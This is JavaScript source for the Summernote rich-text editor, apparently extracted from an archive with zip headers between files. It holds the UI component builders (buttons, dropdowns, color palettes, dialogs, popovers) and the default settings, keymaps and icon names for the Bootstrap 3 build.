  '  <div class="note-resizebar" role="seperator" aria-orientation="horizontal" aria-label="resize">',
  '    <div class="note-icon-bar"/>',
  '    <div class="note-icon-bar"/>',
  '    <div class="note-icon-bar"/>',
  '  </div>',
  '</div>'
].join(''));

const airEditor = renderer.create('<div class="note-editor"/>');
const airEditable = renderer.create([
  '<output class="note-status-output" role="status" aria-live="polite"/>',
  '<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>'
].join(''));

const buttonGroup = renderer.create('<div class="note-btn-group">');
const button = renderer.create('<button type="button" class="note-btn" role="button" tabindex="-1">', function($node, options) {
  // set button type
  if (options && options.tooltip) {
    $node.attr({
      'aria-label': options.tooltip
    });
    $node.data('_lite_tooltip', new TooltipUI($node, {
      title: options.tooltip,
      container: options.container
    }));
  }
  if (options.contents) {
    $node.html(options.contents);
  }

  if (options && options.data && options.data.toggle === 'dropdown') {
    $node.data('_lite_dropdown', new DropdownUI($node, {
      container: options.container
    }));
  }
});

const dropdown = renderer.create('<div class="note-dropdown-menu" role="list">', function($node, options) {
  const markup = $.isArray(options.items) ? options.items.map(function(item) {
    const value = (typeof item === 'string') ? item : (item.value || '');
    const content = options.template ? options.template(item) : item;
    const $temp = $('<a class="note-dropdown-item" href="#" data-value="' + value + '" role="listitem" aria-label="' + item + '"></a>');

    $temp.html(content).data('item', item);

    return $temp;
  }) : options.items;

  $node.html(markup).attr({'aria-label': options.title});

  $node.on('click', '> .note-dropdown-item', function(e) {
    const $a = $(this);

    const item = $a.data('item');
    const value = $a.data('value');

    if (item.click) {
      item.click($a);
    } else if (options.itemClick) {
      options.itemClick(e, item, value);
    }
  });
});

const dropdownCheck = renderer.create('<div class="note-dropdown-menu note-check" role="list">', function($node, options) {
  const markup = $.isArray(options.items) ? options.items.map(function(item) {
    const value = (typeof item === 'string') ? item : (item.value || '');
    const content = options.template ? options.template(item) : item;

    const $temp = $('<a class="note-dropdown-item" href="#" data-value="' + value + '" role="listitem" aria-label="' + item + '"></a>');
    $temp.html([icon(options.checkClassName), ' ', content]).data('item', item);
    return $temp;
  }) : options.items;

  $node.html(markup).attr({'aria-label': options.title});

  $node.on('click', '> .note-dropdown-item', function(e) {
    const $a = $(this);

    const item = $a.data('item');
    const value = $a.data('value');

    if (item.click) {
      item.click($a);
    } else if (options.itemClick) {
      options.itemClick(e, item, value);
    }
  });
});

const dropdownButtonContents = function(contents, options) {
  return contents + ' ' + icon(options.icons.caret, 'span');
};

const dropdownButton = function(opt, callback) {
  return buttonGroup([
    button({
      className: 'dropdown-toggle',
      contents: opt.title + ' ' + icon('note-icon-caret'),
      tooltip: opt.tooltip,
      data: {
        toggle: 'dropdown'
      }
    }),
    dropdown({
      className: opt.className,
      items: opt.items,
      template: opt.template,
      itemClick: opt.itemClick
    })
  ], { callback: callback }).render();
};

const dropdownCheckButton = function(opt, callback) {
  return buttonGroup([
    button({
      className: 'dropdown-toggle',
      contents: opt.title + ' ' + icon('note-icon-caret'),
      tooltip: opt.tooltip,
      data: {
        toggle: 'dropdown'
      }
    }),
    dropdownCheck({
      className: opt.className,
      checkClassName: opt.checkClassName,
      items: opt.items,
      template: opt.template,
      itemClick: opt.itemClick
    })
  ], { callback: callback }).render();
};

const paragraphDropdownButton = function(opt) {
  return buttonGroup([
    button({
      className: 'dropdown-toggle',
      contents: opt.title + ' ' + icon('note-icon-caret'),
      tooltip: opt.tooltip,
      data: {
        toggle: 'dropdown'
      }
    }),
    dropdown([
      buttonGroup({
        className: 'note-align',
        children: opt.items[0]
      }),
      buttonGroup({
        className: 'note-list',
        children: opt.items[1]
      })
    ])
  ]).render();
};

const tableMoveHandler = function(event, col, row) {
  const PX_PER_EM = 18;
  const $picker = $(event.target.parentNode); // target is mousecatcher
  const $dimensionDisplay = $picker.next();
  const $catcher = $picker.find('.note-dimension-picker-mousecatcher');
  const $highlighted = $picker.find('.note-dimension-picker-highlighted');
  const $unhighlighted = $picker.find('.note-dimension-picker-unhighlighted');

  let posOffset;
  // HTML5 with jQuery - e.offsetX is undefined in Firefox
  if (event.offsetX === undefined) {
    const posCatcher = $(event.target).offset();
    posOffset = {
      x: event.pageX - posCatcher.left,
      y: event.pageY - posCatcher.top
    };
  } else {
    posOffset = {
      x: event.offsetX,
      y: event.offsetY
    };
  }

  const dim = {
    c: Math.ceil(posOffset.x / PX_PER_EM) || 1,
    r: Math.ceil(posOffset.y / PX_PER_EM) || 1
  };

  $highlighted.css({ width: dim.c + 'em', height: dim.r + 'em' });
  $catcher.data('value', dim.c + 'x' + dim.r);

  if (dim.c > 3 && dim.c < col) {
    $unhighlighted.css({ width: dim.c + 1 + 'em' });
  }

  if (dim.r > 3 && dim.r < row) {
    $unhighlighted.css({ height: dim.r + 1 + 'em' });
  }

  $dimensionDisplay.html(dim.c + ' x ' + dim.r);
};

const tableDropdownButton = function(opt) {
  return buttonGroup([
    button({
      className: 'dropdown-toggle',
      contents: opt.title + ' ' + icon('note-icon-caret'),
      tooltip: opt.tooltip,
      data: {
        toggle: 'dropdown'
      }
    }),
    dropdown({
      className: 'note-table',
      items: [
        '<div class="note-dimension-picker">',
        '  <div class="note-dimension-picker-mousecatcher" data-event="insertTable" data-value="1x1"/>',
        '  <div class="note-dimension-picker-highlighted"/>',
        '  <div class="note-dimension-picker-unhighlighted"/>',
        '</div>',
        '<div class="note-dimension-display">1 x 1</div>'
      ].join('')
    })
  ], {
    callback: function($node) {
      const $catcher = $node.find('.note-dimension-picker-mousecatcher');
      $catcher.css({
        width: opt.col + 'em',
        height: opt.row + 'em'
      })
        .mousedown(opt.itemClick)
        .mousemove(function(e) {
          tableMoveHandler(e, opt.col, opt.row);
        });
    }
  }).render();
};

const palette = renderer.create('<div class="note-color-palette"/>', function($node, options) {
  const contents = [];
  for (let row = 0, rowSize = options.colors.length; row < rowSize; row++) {
    const eventName = options.eventName;
    const colors = options.colors[row];
    const colorsName = options.colorsName[row];
    const buttons = [];
    for (let col = 0, colSize = colors.length; col < colSize; col++) {
      const color = colors[col];
      const colorName = colorsName[col];
      buttons.push([
        '<button type="button" class="note-btn note-color-btn"',
        'style="background-color:', color, '" ',
        'data-event="', eventName, '" ',
        'data-value="', color, '" ',
        'title="', colorName, '" ',
        'aria-label="', colorName, '" ',
        'data-toggle="button" tabindex="-1"></button>'
      ].join(''));
    }
    contents.push('<div class="note-color-row">' + buttons.join('') + '</div>');
  }
  $node.html(contents.join(''));

  $node.find('.note-color-btn').each(function() {
    $(this).data('_lite_tooltip', new TooltipUI($(this), {
      container: options.container
    }));
  });
});

const colorDropdownButton = function(opt, type) {
  return buttonGroup({
    className: 'note-color',
    children: [
      button({
        className: 'note-current-color-button',
        contents: opt.title,
        tooltip: opt.lang.color.recent,
        click: opt.currentClick,
        callback: function($button) {
          const $recentColor = $button.find('.note-recent-color');

          if (type !== 'foreColor') {
            $recentColor.css('background-color', '#FFFF00');
            $button.attr('data-backColor', '#FFFF00');
          }
        }
      }),
      button({
        className: 'dropdown-toggle',
        contents: icon('note-icon-caret'),
        tooltip: opt.lang.color.more,
        data: {
          toggle: 'dropdown'
        }
      }),
      dropdown({
        items: [
          '<div>',
          '<div class="note-btn-group btn-background-color">',
          '  <div class="note-palette-title">' + opt.lang.color.background + '</div>',
          '  <div>',
          '<button type="button" class="note-color-reset note-btn note-btn-block" ' +
          ' data-event="backColor" data-value="inherit">',
          opt.lang.color.transparent,
          '    </button>',
          '  </div>',
          '  <div class="note-holder" data-event="backColor"/>',
          '</div>',
          '<div class="note-btn-group btn-foreground-color">',
          '  <div class="note-palette-title">' + opt.lang.color.foreground + '</div>',
          '  <div>',
          '<button type="button" class="note-color-reset note-btn note-btn-block" ' +
          ' data-event="removeFormat" data-value="foreColor">',
          opt.lang.color.resetToDefault,
          '    </button>',
          '  </div>',
          '  <div class="note-holder" data-event="foreColor"/>',
          '</div>',
          '</div>'
        ].join(''),
        callback: function($dropdown) {
          $dropdown.find('.note-holder').each(function() {
            const $holder = $(this);
            $holder.append(palette({
              colors: opt.colors,
              eventName: $holder.data('event')
            }).render());
          });

          if (type === 'fore') {
            $dropdown.find('.btn-background-color').hide();
            $dropdown.css({ 'min-width': '210px' });
          } else if (type === 'back') {
            $dropdown.find('.btn-foreground-color').hide();
            $dropdown.css({ 'min-width': '210px' });
          }
        },
        click: function(event) {
          const $button = $(event.target);
          const eventName = $button.data('event');
          const value = $button.data('value');

          if (eventName && value) {
            const key = eventName === 'backColor' ? 'background-color' : 'color';
            const $color = $button.closest('.note-color').find('.note-recent-color');
            const $currentButton = $button.closest('.note-color').find('.note-current-color-button');

            $color.css(key, value);
            $currentButton.attr('data-' + eventName, value);

            if (type === 'fore') {
              opt.itemClick('foreColor', value);
            } else if (type === 'back') {
              opt.itemClick('backColor', value);
            } else {
              opt.itemClick(eventName, value);
            }
          }
        }
      })
    ]
  }).render();
};

const dialog = renderer.create('<div class="note-modal" aria-hidden="false" tabindex="-1" role="dialog"/>', function($node, options) {
  if (options.fade) {
    $node.addClass('fade');
  }
  $node.attr({
    'aria-label': options.title
  });
  $node.html([
    '  <div class="note-modal-content">',
    (options.title
      ? '    <div class="note-modal-header">' +
    '      <button type="button" class="close" aria-label="Close" aria-hidden="true"><i class="note-icon-close"></i></button>' +
    '      <h4 class="note-modal-title">' + options.title + '</h4>' +
    '    </div>' : ''
    ),
    '    <div class="note-modal-body">' + options.body + '</div>',
    (options.footer
      ? '    <div class="note-modal-footer">' + options.footer + '</div>' : ''
    ),
    '  </div>'
  ].join(''));

  $node.data('modal', new ModalUI($node, options));
});

const videoDialog = function(opt) {
  const body = '<div class="note-form-group">' +
    '<label class="note-form-label">' +
    opt.lang.video.url + ' <small class="text-muted">' +
    opt.lang.video.providers + '</small>' +
    '</label>' +
    '<input class="note-video-url note-input" type="text" />' +
    '</div>';
  const footer = [
    '<button type="button" href="#" class="note-btn note-btn-primary note-video-btn disabled" disabled>',
    opt.lang.video.insert,
    '</button>'
  ].join('');

  return dialog({
    title: opt.lang.video.insert,
    fade: opt.fade,
    body: body,
    footer: footer
  }).render();
};

const imageDialog = function(opt) {
  const body = '<div class="note-form-group note-group-select-from-files">' +
    '<label class="note-form-label">' + opt.lang.image.selectFromFiles + '</label>' +
    '<input class="note-note-image-input note-input" type="file" name="files" accept="image/*" multiple="multiple" />' +
    opt.imageLimitation +
    '</div>' +
    '<div class="note-form-group" style="overflow:auto;">' +
    '<label class="note-form-label">' + opt.lang.image.url + '</label>' +
    '<input class="note-image-url note-input" type="text" />' +
    '</div>';
  const footer = [
    '<button href="#" type="button" class="note-btn note-btn-primary note-btn-large note-image-btn disabled" disabled>',
    opt.lang.image.insert,
    '</button>'
  ].join('');

  return dialog({
    title: opt.lang.image.insert,
    fade: opt.fade,
    body: body,
    footer: footer
  }).render();
};

const linkDialog = function(opt) {
  const body = '<div class="note-form-group">' +
    '<label class="note-form-label">' + opt.lang.link.textToDisplay + '</label>' +
    '<input class="note-link-text note-input" type="text" />' +
    '</div>' +
    '<div class="note-form-group">' +
    '<label class="note-form-label">' + opt.lang.link.url + '</label>' +
    '<input class="note-link-url note-input" type="text" value="http://" />' +
    '</div>' +
    (!opt.disableLinkTarget
      ? '<div class="checkbox">' +
      '<label>' + '<input type="checkbox" checked> ' + opt.lang.link.openInNewWindow + '</label>' +
      '</div>' : ''
    );
  const footer = [
    '<button href="#" type="button" class="note-btn note-btn-primary note-link-btn disabled" disabled>',
    opt.lang.link.insert,
    '</button>'
  ].join('');

  return dialog({
    className: 'link-dialog',
    title: opt.lang.link.insert,
    fade: opt.fade,
    body: body,
    footer: footer
  }).render();
};

const popover = renderer.create([
  '<div class="note-popover bottom">',
  '  <div class="note-popover-arrow"/>',
  '  <div class="note-popover-content note-children-container"/>',
  '</div>'
].join(''), function($node, options) {
  const direction = typeof options.direction !== 'undefined' ? options.direction : 'bottom';

  $node.addClass(direction).hide();

  if (options.hideArrow) {
    $node.find('.note-popover-arrow').hide();
  }
});

const checkbox = renderer.create('<div class="checkbox"></div>', function($node, options) {
  $node.html([
    ' <label' + (options.id ? ' for="' + options.id + '"' : '') + '>',
    ' <input role="checkbox" type="checkbox"' + (options.id ? ' id="' + options.id + '"' : ''),
    (options.checked ? ' checked' : ''),
    ' aria-checked="' + (options.checked ? 'true' : 'false') + '"/>',
    (options.text ? options.text : ''),
    '</label>'
  ].join(''));
});

const icon = function(iconClassName, tagName) {
  tagName = tagName || 'i';
  return '<' + tagName + ' class="' + iconClassName + '"/>';
};

const ui = {
  editor: editor,
  toolbar: toolbar,
  editingArea: editingArea,
  codable: codable,
  editable: editable,
  statusbar: statusbar,
  airEditor: airEditor,
  airEditable: airEditable,
  buttonGroup: buttonGroup,
  button: button,
  dropdown: dropdown,
  dropdownCheck: dropdownCheck,
  dropdownButton: dropdownButton,
  dropdownButtonContents: dropdownButtonContents,
  dropdownCheckButton: dropdownCheckButton,
  paragraphDropdownButton: paragraphDropdownButton,
  tableDropdownButton: tableDropdownButton,
  colorDropdownButton: colorDropdownButton,
  palette: palette,
  dialog: dialog,
  videoDialog: videoDialog,
  imageDialog: imageDialog,
  linkDialog: linkDialog,
  popover: popover,
  checkbox: checkbox,
  icon: icon,

  toggleBtn: function($btn, isEnable) {
    $btn.toggleClass('disabled', !isEnable);
    $btn.attr('disabled', !isEnable);
  },

  toggleBtnActive: function($btn, isActive) {
    $btn.toggleClass('active', isActive);
  },

  check: function($dom, value) {
    $dom.find('.checked').removeClass('checked');
    $dom.find('[data-value="' + value + '"]').addClass('checked');
  },

  onDialogShown: function($dialog, handler) {
    $dialog.one('note.modal.show', handler);
  },

  onDialogHidden: function($dialog, handler) {
    $dialog.one('note.modal.hide', handler);
  },

  showDialog: function($dialog) {
    $dialog.data('modal').show();
  },

  hideDialog: function($dialog) {
    $dialog.data('modal').hide();
  },

  /**
   * get popover content area
   *
   * @param $popover
   * @returns {*}
   */
  getPopoverContent: function($popover) {
    return $popover.find('.note-popover-content');
  },

  /**
   * get dialog's body area
   *
   * @param $dialog
   * @returns {*}
   */
  getDialogBody: function($dialog) {
    return $dialog.find('.note-modal-body');
  },

  createLayout: function($note, options) {
    const $editor = (options.airMode ? ui.airEditor([
      ui.editingArea([
        ui.airEditable()
      ])
    ]) : ui.editor([
      ui.toolbar(),
      ui.editingArea([
        ui.codable(),
        ui.editable()
      ]),
      ui.statusbar()
    ])).render();

    $editor.insertAfter($note);

    return {
      note: $note,
      editor: $editor,
      toolbar: $editor.find('.note-toolbar'),
      editingArea: $editor.find('.note-editing-area'),
      editable: $editor.find('.note-editable'),
      codable: $editor.find('.note-codable'),
      statusbar: $editor.find('.note-statusbar')
    };
  },

  removeLayout: function($note, layoutInfo) {
    $note.html(layoutInfo.editable.html());
    layoutInfo.editor.remove();
    $note.off('summernote'); // remove summernote custom event
    $note.show();
  }
};

export default ui;
PK�{�\K��@(@(js/bs3/settings.jsnu�[���import $ from 'jquery';
import ui from '../bs3/ui';
import dom from '../base/core/dom';
import '../base/summernote-en-US';
import Editor from '../base/module/Editor';
import Clipboard from '../base/module/Clipboard';
import Dropzone from '../base/module/Dropzone';
import Codeview from '../base/module/Codeview';
import Statusbar from '../base/module/Statusbar';
import Fullscreen from '../base/module/Fullscreen';
import Handle from '../base/module/Handle';
import AutoLink from '../base/module/AutoLink';
import AutoSync from '../base/module/AutoSync';
import Placeholder from '../base/module/Placeholder';
import Buttons from '../base/module/Buttons';
import Toolbar from '../base/module/Toolbar';
import LinkDialog from '../base/module/LinkDialog';
import LinkPopover from '../base/module/LinkPopover';
import ImageDialog from '../base/module/ImageDialog';
import ImagePopover from '../base/module/ImagePopover';
import TablePopover from '../base/module/TablePopover';
import VideoDialog from '../base/module/VideoDialog';
import HelpDialog from '../base/module/HelpDialog';
import AirPopover from '../base/module/AirPopover';
import HintPopover from '../base/module/HintPopover';

$.summernote = $.extend($.summernote, {
  version: '@@VERSION@@',
  ui: ui,
  dom: dom,

  plugins: {},

  options: {
    modules: {
      'editor': Editor,
      'clipboard': Clipboard,
      'dropzone': Dropzone,
      'codeview': Codeview,
      'statusbar': Statusbar,
      'fullscreen': Fullscreen,
      'handle': Handle,
      // FIXME: HintPopover must be front of autolink
      //  - Script error about range when Enter key is pressed on hint popover
      'hintPopover': HintPopover,
      'autoLink': AutoLink,
      'autoSync': AutoSync,
      'placeholder': Placeholder,
      'buttons': Buttons,
      'toolbar': Toolbar,
      'linkDialog': LinkDialog,
      'linkPopover': LinkPopover,
      'imageDialog': ImageDialog,
      'imagePopover': ImagePopover,
      'tablePopover': TablePopover,
      'videoDialog': VideoDialog,
      'helpDialog': HelpDialog,
      'airPopover': AirPopover
    },

    buttons: {},

    lang: 'en-US',

    followingToolbar: true,
    otherStaticBar: '',

    // toolbar
    toolbar: [
      ['style', ['style']],
      ['font', ['bold', 'underline', 'clear']],
      ['fontname', ['fontname']],
      ['color', ['color']],
      ['para', ['ul', 'ol', 'paragraph']],
      ['table', ['table']],
      ['insert', ['link', 'picture', 'video']],
      ['view', ['fullscreen', 'codeview', 'help']]
    ],

    // popover
    popatmouse: true,
    popover: {
      image: [
        ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],
        ['float', ['floatLeft', 'floatRight', 'floatNone']],
        ['remove', ['removeMedia']]
      ],
      link: [
        ['link', ['linkDialogShow', 'unlink']]
      ],
      table: [
        ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],
        ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]
      ],
      air: [
        ['color', ['color']],
        ['font', ['bold', 'underline', 'clear']],
        ['para', ['ul', 'paragraph']],
        ['table', ['table']],
        ['insert', ['link', 'picture']]
      ]
    },

    // air mode: inline editor
    airMode: false,

    width: null,
    height: null,
    linkTargetBlank: true,

    focus: false,
    tabSize: 4,
    styleWithSpan: true,
    shortcuts: true,
    textareaAutoSync: true,
    hintDirection: 'bottom',
    tooltip: 'auto',
    container: 'body',
    maxTextLength: 0,

    styleTags: ['p', 'blockquote', 'pre', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6'],

    fontNames: [
      'Arial', 'Arial Black', 'Comic Sans MS', 'Courier New',
      'Helvetica Neue', 'Helvetica', 'Impact', 'Lucida Grande',
      'Tahoma', 'Times New Roman', 'Verdana'
    ],

    fontSizes: ['8', '9', '10', '11', '12', '14', '18', '24', '36'],

    // pallete colors(n x n)
    colors: [
      ['#000000', '#424242', '#636363', '#9C9C94', '#CEC6CE', '#EFEFEF', '#F7F7F7', '#FFFFFF'],
      ['#FF0000', '#FF9C00', '#FFFF00', '#00FF00', '#00FFFF', '#0000FF', '#9C00FF', '#FF00FF'],
      ['#F7C6CE', '#FFE7CE', '#FFEFC6', '#D6EFD6', '#CEDEE7', '#CEE7F7', '#D6D6E7', '#E7D6DE'],
      ['#E79C9C', '#FFC69C', '#FFE79C', '#B5D6A5', '#A5C6CE', '#9CC6EF', '#B5A5D6', '#D6A5BD'],
      ['#E76363', '#F7AD6B', '#FFD663', '#94BD7B', '#73A5AD', '#6BADDE', '#8C7BC6', '#C67BA5'],
      ['#CE0000', '#E79439', '#EFC631', '#6BA54A', '#4A7B8C', '#3984C6', '#634AA5', '#A54A7B'],
      ['#9C0000', '#B56308', '#BD9400', '#397B21', '#104A5A', '#085294', '#311873', '#731842'],
      ['#630000', '#7B3900', '#846300', '#295218', '#083139', '#003163', '#21104A', '#4A1031']
    ],

    // http://chir.ag/projects/name-that-color/
    colorsName: [
      ['Black', 'Tundora', 'Dove Gray', 'Star Dust', 'Pale Slate', 'Gallery', 'Alabaster', 'White'],
      ['Red', 'Orange Peel', 'Yellow', 'Green', 'Cyan', 'Blue', 'Electric Violet', 'Magenta'],
      ['Azalea', 'Karry', 'Egg White', 'Zanah', 'Botticelli', 'Tropical Blue', 'Mischka', 'Twilight'],
      ['Tonys Pink', 'Peach Orange', 'Cream Brulee', 'Sprout', 'Casper', 'Perano', 'Cold Purple', 'Careys Pink'],
      ['Mandy', 'Rajah', 'Dandelion', 'Olivine', 'Gulf Stream', 'Viking', 'Blue Marguerite', 'Puce'],
      ['Guardsman Red', 'Fire Bush', 'Golden Dream', 'Chelsea Cucumber', 'Smalt Blue', 'Boston Blue', 'Butterfly Bush', 'Cadillac'],
      ['Sangria', 'Mai Tai', 'Buddha Gold', 'Forest Green', 'Eden', 'Venice Blue', 'Meteorite', 'Claret'],
      ['Rosewood', 'Cinnamon', 'Olive', 'Parsley', 'Tiber', 'Midnight Blue', 'Valentino', 'Loulou']
    ],

    lineHeights: ['1.0', '1.2', '1.4', '1.5', '1.6', '1.8', '2.0', '3.0'],

    tableClassName: 'table table-bordered',

    insertTableMaxSize: {
      col: 10,
      row: 10
    },

    dialogsInBody: false,
    dialogsFade: false,

    maximumImageFileSize: null,

    callbacks: {
      onInit: null,
      onFocus: null,
      onBlur: null,
      onBlurCodeview: null,
      onEnter: null,
      onKeyup: null,
      onKeydown: null,
      onImageUpload: null,
      onImageUploadError: null
    },

    codemirror: {
      mode: 'text/html',
      htmlMode: true,
      lineNumbers: true
    },

    keyMap: {
      pc: {
        'ENTER': 'insertParagraph',
        'CTRL+Z': 'undo',
        'CTRL+Y': 'redo',
        'TAB': 'tab',
        'SHIFT+TAB': 'untab',
        'CTRL+B': 'bold',
        'CTRL+I': 'italic',
        'CTRL+U': 'underline',
        'CTRL+SHIFT+S': 'strikethrough',
        'CTRL+BACKSLASH': 'removeFormat',
        'CTRL+SHIFT+L': 'justifyLeft',
        'CTRL+SHIFT+E': 'justifyCenter',
        'CTRL+SHIFT+R': 'justifyRight',
        'CTRL+SHIFT+J': 'justifyFull',
        'CTRL+SHIFT+NUM7': 'insertUnorderedList',
        'CTRL+SHIFT+NUM8': 'insertOrderedList',
        'CTRL+LEFTBRACKET': 'outdent',
        'CTRL+RIGHTBRACKET': 'indent',
        'CTRL+NUM0': 'formatPara',
        'CTRL+NUM1': 'formatH1',
        'CTRL+NUM2': 'formatH2',
        'CTRL+NUM3': 'formatH3',
        'CTRL+NUM4': 'formatH4',
        'CTRL+NUM5': 'formatH5',
        'CTRL+NUM6': 'formatH6',
        'CTRL+ENTER': 'insertHorizontalRule',
        'CTRL+K': 'linkDialog.show'
      },

      mac: {
        'ENTER': 'insertParagraph',
        'CMD+Z': 'undo',
        'CMD+SHIFT+Z': 'redo',
        'TAB': 'tab',
        'SHIFT+TAB': 'untab',
        'CMD+B': 'bold',
        'CMD+I': 'italic',
        'CMD+U': 'underline',
        'CMD+SHIFT+S': 'strikethrough',
        'CMD+BACKSLASH': 'removeFormat',
        'CMD+SHIFT+L': 'justifyLeft',
        'CMD+SHIFT+E': 'justifyCenter',
        'CMD+SHIFT+R': 'justifyRight',
        'CMD+SHIFT+J': 'justifyFull',
        'CMD+SHIFT+NUM7': 'insertUnorderedList',
        'CMD+SHIFT+NUM8': 'insertOrderedList',
        'CMD+LEFTBRACKET': 'outdent',
        'CMD+RIGHTBRACKET': 'indent',
        'CMD+NUM0': 'formatPara',
        'CMD+NUM1': 'formatH1',
        'CMD+NUM2': 'formatH2',
        'CMD+NUM3': 'formatH3',
        'CMD+NUM4': 'formatH4',
        'CMD+NUM5': 'formatH5',
        'CMD+NUM6': 'formatH6',
        'CMD+ENTER': 'insertHorizontalRule',
        'CMD+K': 'linkDialog.show'
      }
    },
    icons: {
      'align': 'note-icon-align',
      'alignCenter': 'note-icon-align-center',
      'alignJustify': 'note-icon-align-justify',
      'alignLeft': 'note-icon-align-left',
      'alignRight': 'note-icon-align-right',
      'rowBelow': 'note-icon-row-below',
      'colBefore': 'note-icon-col-before',
      'colAfter': 'note-icon-col-after',
      'rowAbove': 'note-icon-row-above',
      'rowRemove': 'note-icon-row-remove',
      'colRemove': 'note-icon-col-remove',
      'indent': 'note-icon-align-indent',
      'outdent': 'note-icon-align-outdent',
      'arrowsAlt': 'note-icon-arrows-alt',
      'bold': 'note-icon-bold',
      'caret': 'note-icon-caret',
      'circle': 'note-icon-circle',
      'close': 'note-icon-close',
      'code': 'note-icon-code',
      'eraser': 'note-icon-eraser',
      'font': 'note-icon-font',
      'frame': 'note-icon-frame',
      'italic': 'note-icon-italic',
      'link': 'note-icon-link',
      'unlink': 'note-icon-chain-broken',
      'magic': 'note-icon-magic',
      'menuCheck': 'note-icon-menu-check',
      'minus': 'note-icon-minus',
      'orderedlist': 'note-icon-orderedlist',
      'pencil': 'note-icon-pencil',
      'picture': 'note-icon-picture',
      'question': 'note-icon-question',
      'redo': 'note-icon-redo',
      'square': 'note-icon-square',
      'strikethrough': 'note-icon-strikethrough',
      'subscript': 'note-icon-subscript',
      'superscript': 'note-icon-superscript',
      'table': 'note-icon-table',
      'textHeight': 'note-icon-text-height',
      'trash': 'note-icon-trash',
      'underline': 'note-icon-underline',
      'undo': 'note-icon-undo',
      'unorderedlist': 'note-icon-unorderedlist',
      'video': 'note-icon-video'
    }
  }
});

import '../summernote'; // eslint-disable-line
PK�{�\Dѯj� � js/bs3/ui.jsnu�[���import $ from 'jquery';
import renderer from '../base/renderer';

const editor = renderer.create('<div class="note-editor note-frame panel"/>');
const toolbar = renderer.create('<div class="note-toolbar-wrapper panel-default"><div class="note-toolbar panel-heading" role="toolbar"></div></div>');
const editingArea = renderer.create('<div class="note-editing-area"/>');
const codable = renderer.create('<textarea class="note-codable" role="textbox" aria-multiline="true"/>');
const editable = renderer.create('<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>');
const statusbar = renderer.create([
  '<output class="note-status-output" aria-live="polite"/>',
  '<div class="note-statusbar" role="status">',
  '  <div class="note-resizebar" role="seperator" aria-orientation="horizontal" aria-label="Resize">',
  '    <div class="note-icon-bar"/>',
  '    <div class="note-icon-bar"/>',
  '    <div class="note-icon-bar"/>',
  '  </div>',
  '</div>'
].join(''));

const airEditor = renderer.create('<div class="note-editor"/>');
const airEditable = renderer.create([
  '  <output class="note-status-output" aria-live="polite"/>',
  '<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>'
].join(''));

const buttonGroup = renderer.create('<div class="note-btn-group btn-group">');

const dropdown = renderer.create('<ul class="dropdown-menu" role="list">', function($node, options) {
  const markup = $.isArray(options.items) ? options.items.map(function(item) {
    const value = (typeof item === 'string') ? item : (item.value || '');
    const content = options.template ? options.template(item) : item;
    const option = (typeof item === 'object') ? item.option : undefined;

    const dataValue = 'data-value="' + value + '"';
    const dataOption = (option !== undefined) ? ' data-option="' + option + '"' : '';
    return '<li role="listitem" aria-label="' + item + '"><a href="#" ' + (dataValue + dataOption) + '>' + content + '</a></li>';
  }).join('') : options.items;

  $node.html(markup).attr({'aria-label': options.title});
});

const dropdownButtonContents = function(contents, options) {
  return contents + ' ' + icon(options.icons.caret, 'span');
};

const dropdownCheck = renderer.create('<ul class="dropdown-menu note-check" role="list">', function($node, options) {
  const markup = $.isArray(options.items) ? options.items.map(function(item) {
    const value = (typeof item === 'string') ? item : (item.value || '');
    const content = options.template ? options.template(item) : item;
    return '<li role="listitem" aria-label="' + item + '"><a href="#" data-value="' + value + '">' + icon(options.checkClassName) + ' ' + content + '</a></li>';
  }).join('') : options.items;
  $node.html(markup).attr({'aria-label': options.title});
});

const palette = renderer.create('<div class="note-color-palette"/>', function($node, options) {
  const contents = [];
  for (let row = 0, rowSize = options.colors.length; row < rowSize; row++) {
    const eventName = options.eventName;
    const colors = options.colors[row];
    const colorsName = options.colorsName[row];
    const buttons = [];
    for (let col = 0, colSize = colors.length; col < colSize; col++) {
      const color = colors[col];
      const colorName = colorsName[col];
      buttons.push([
        '<button type="button" class="note-color-btn"',
        'style="background-color:', color, '" ',
        'data-event="', eventName, '" ',
        'data-value="', color, '" ',
        'title="', colorName, '" ',
        'aria-label="', colorName, '" ',
        'data-toggle="button" tabindex="-1"></button>'
      ].join(''));
    }
    contents.push('<div class="note-color-row">' + buttons.join('') + '</div>');
  }
  $node.html(contents.join(''));

  if (options.tooltip) {
    $node.find('.note-color-btn').tooltip({
      container: options.container,
      trigger: 'hover',
      placement: 'bottom'
    });
  }
});

const dialog = renderer.create('<div class="modal" aria-hidden="false" tabindex="-1" role="dialog"/>', function($node, options) {
  if (options.fade) {
    $node.addClass('fade');
  }
  $node.attr({
    'aria-label': options.title
  });
  $node.html([
    '<div class="modal-dialog">',
    '  <div class="modal-content">',
    (options.title
      ? '    <div class="modal-header">' +
    '      <button type="button" class="close" data-dismiss="modal" aria-label="Close" aria-hidden="true">&times;</button>' +
    '      <h4 class="modal-title">' + options.title + '</h4>' +
    '    </div>' : ''
    ),
    '    <div class="modal-body">' + options.body + '</div>',
    (options.footer
      ? '    <div class="modal-footer">' + options.footer + '</div>' : ''
    ),
    '  </div>',
    '</div>'
  ].join(''));
});

const popover = renderer.create([
  '<div class="note-popover popover in">',
  '  <div class="arrow"/>',
  '  <div class="popover-content note-children-container"/>',
  '</div>'
].join(''), function($node, options) {
  const direction = typeof options.direction !== 'undefined' ? options.direction : 'bottom';

  $node.addClass(direction);

  if (options.hideArrow) {
    $node.find('.arrow').hide();
  }
});

const checkbox = renderer.create('<div class="checkbox"></div>', function($node, options) {
  $node.html([
    ' <label' + (options.id ? ' for="' + options.id + '"' : '') + '>',
    ' <input role="checkbox" type="checkbox"' + (options.id ? ' id="' + options.id + '"' : ''),
    (options.checked ? ' checked' : ''),
    ' aria-checked="' + (options.checked ? 'true' : 'false') + '"/>',
    (options.text ? options.text : ''),
    '</label>'
  ].join(''));
});

const icon = function(iconClassName, tagName) {
  tagName = tagName || 'i';
  return '<' + tagName + ' class="' + iconClassName + '"/>';
};
const ui = {
  editor: editor,
  toolbar: toolbar,
  editingArea: editingArea,
  codable: codable,
  editable: editable,
  statusbar: statusbar,
  airEditor: airEditor,
  airEditable: airEditable,
  buttonGroup: buttonGroup,
  dropdown: dropdown,
